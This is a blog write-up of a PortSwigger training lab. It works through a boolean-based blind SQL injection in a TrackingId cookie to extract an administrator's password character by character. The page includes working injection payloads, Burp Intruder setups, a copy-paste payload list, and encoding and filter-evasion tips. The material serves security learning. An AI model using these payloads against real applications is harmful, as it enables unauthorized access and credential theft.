Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Blind SQL injection with conditional responses part 2

Blind SQL injection with conditional responses part 2: The TrackingId cookie is vulnerable to boolean‑based blind SQL injection. The app leaks a signal — it shows “Welcome Back!” when a condition is true and omits it when false. I used this to: 1) Prove injection, 2) Confirm the users table and the administrator user exist, 3) Determine the... • PortSwigger • Blind-SQL, SQL injection • blind-sql, lab10

2022-11-084 tags
Tags

🎯 Objective

The TrackingId cookie is vulnerable to boolean‑based blind SQL injection. The app leaks a signal — it shows “Welcome Back!” when a condition is true and omits it when false. I used this to:

  1. Prove injection,
  2. Confirm the users table and the administrator user exist,
  3. Determine the password length, and
  4. Extract the password characters one by one, then log in as administrator.

🧩 Signal & Vulnerable Vector

  • Vector: Cookie: TrackingId=<value>
  • True condition → response contains Welcome Back!
  • False condition → no Welcome Back!

This is perfect for boolean inference (no need for in‑band data).


🧭 Steps I Took

1) Proved injection with a comment

text
TrackingId=xyz' --

Response: Welcome Back! → the trailing comment neutralizes the rest of the query, confirming injection.

Adding one more stray character breaks it (no “Welcome Back!”), proving it’s hitting the DB and the value matters.


2) Forced true/false tautologies

sql
TrackingId=xy' AND 1=1--           -- TRUE → Welcome Back!
TrackingId=xyz' AND 1=0--          -- FALSE → no Welcome Back!

We now have a reliable boolean oracle.


3) Verified the users table exists

sql
TrackingId=xyz' AND (SELECT 'x' FROM users LIMIT 1)='x'--

Response: Welcome Back! → users exists. As a negative control:

sql
TrackingId=xyz' AND (SELECT 'x' FROM usersabcd LIMIT 1)='x'--

Response: no Welcome Back!


4) Checked whether administrator exists

sql
TrackingId=xyz' AND (
  SELECT username FROM users WHERE username='administrator'
)='administrator'--

Response: Welcome Back! → user exists. (A negative variant should remove “Welcome Back!”.)


🔍 Enumerating the Password

5) Does the password column exist? (sanity check)

sql
TrackingId=xyz' AND (
  SELECT password FROM users WHERE username='administrator'
)='abc'--

Even if this returns no Welcome Back! (mismatch), lack of server errors suggests the column exists (the table exists and query parsed).

6) Find the password length

Use LENGTH(password) > n and binary/linear search the threshold.

Working probe (linear example):

sql
TrackingId=... ' AND (
  SELECT username FROM users
  WHERE username='administrator' AND LENGTH(password)>1
)='administrator'--

Interpretation: returns Welcome Back! while the predicate holds; turns false just after the real length.

Automating with Burp Intruder (length):

  • Attack type: Sniper (or your Battering Ram approach with a single position works too)
  • Mark a single payload position for the threshold:
    http
    Cookie: TrackingId=... ' AND (
      SELECT username FROM users
      WHERE username='administrator' AND LENGTH(password)>§1§
    )='administrator'--;
  • Payloads → Numbers: From 1 to 30, step 1.
  • Sort by Response → Contains “Welcome” and/or by length.
  • If your last true is 19, and 20 flips to false, then length is 20 (because we used >).

7) Extract each character by position

Use SUBSTRING(password, pos, 1) = 'c' to test a guess.

Request pattern (two payload positions):

http
GET /filter?category=Pets HTTP/1.1
Host: 0aad00ae047ae86ac07110a000b20042.web-security-academy.net
Cookie: TrackingId=XvGYvQNUWSEkh8zX' AND (
  SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator'
)='§a§'--; session=... 
Connection: close
  • §1§ → numeric position (1..password_length)
  • §a§ → character guess

Intruder config (character extraction):

  • Attack type: Cluster bomb (two independent payload sets)
    • Payload set 1 (position): Numbers from 1 to <password_length> step 1
    • Payload set 2 (char): choose one:
      • Brute forcer, min=1, max=1 (full byte range can be noisy), or
      • Simple list of allowed chars, e.g.
        0123456789abcdefghijklmnopqrstuvwxyz
  • Filter/sort on responses containing Welcome Back! to identify correct char at each position.
  • Repeat (or let Cluster Bomb run full Cartesian set, then group by position).

Equivalent predicate only (payload core):

sql
AND (SELECT SUBSTRING(password,§1§,1)
     FROM users WHERE username='administrator')='§a§'--

🧾 Copy‑paste Payloads

Boolean probes

sql
' AND 1=1--
' AND 1=0--

Table existence

sql
' AND (SELECT 'x' FROM users LIMIT 1)='x'--

User existence

sql
' AND (SELECT username FROM users WHERE username='administrator')='administrator'--

Password length

sql
' AND (SELECT username FROM users
      WHERE username='administrator' AND LENGTH(password)>§N§)='administrator'--

Character at position

sql
' AND (SELECT SUBSTRING(password,§pos§,1)
      FROM users WHERE username='administrator')='§c§'--

URL‑encoding tips

  • ' → %27
  • space → %20
  • -- often needs a trailing space or newline after it in SQL; when in doubt, use --+ (encode as %2D%2D+).

🧪 Troubleshooting

  • No “Welcome Back!” anywhere? Your quote balance or comment spacing may be off. Try %27 for ' and --+ for the comment.
  • Function differences: On some DBs use SUBSTR(...) instead of SUBSTRING(...); LENGTH() is widely supported, CHAR_LENGTH() also exists.
  • WAF/noise: Randomize benign prefixes/suffixes to normalize response size; rely on “Welcome Back!” substring rather than content length alone.
  • Speed: Use binary search for length (> mid) to cut requests in half each step.

✅ Result

  • Confirmed blind boolean oracle via TrackingId.
  • Discovered users, verified administrator exists.
  • Determined password length and extracted it character‑by‑character.
  • Logged in as administrator. Lab solved.

These are my notes and the exact payloads I used. The key was treating the presence of “Welcome Back!” as a boolean truth signal.

Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 Signal & Vulnerable Vector
  3. 03🧭 Steps I Took
  4. 041) Proved injection with a comment
  5. 052) Forced true/false tautologies
  6. 063) Verified the users table exists
  7. 074) Checked whether administrator exists
  8. 08🔍 Enumerating the Password
  9. 095) Does the password column exist? (sanity check)
  10. 106) Find the password length
  11. 117) Extract each character by position
  12. 12🧾 Copy‑paste Payloads
  13. 13🧪 Troubleshooting
  14. 14✅ Result
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.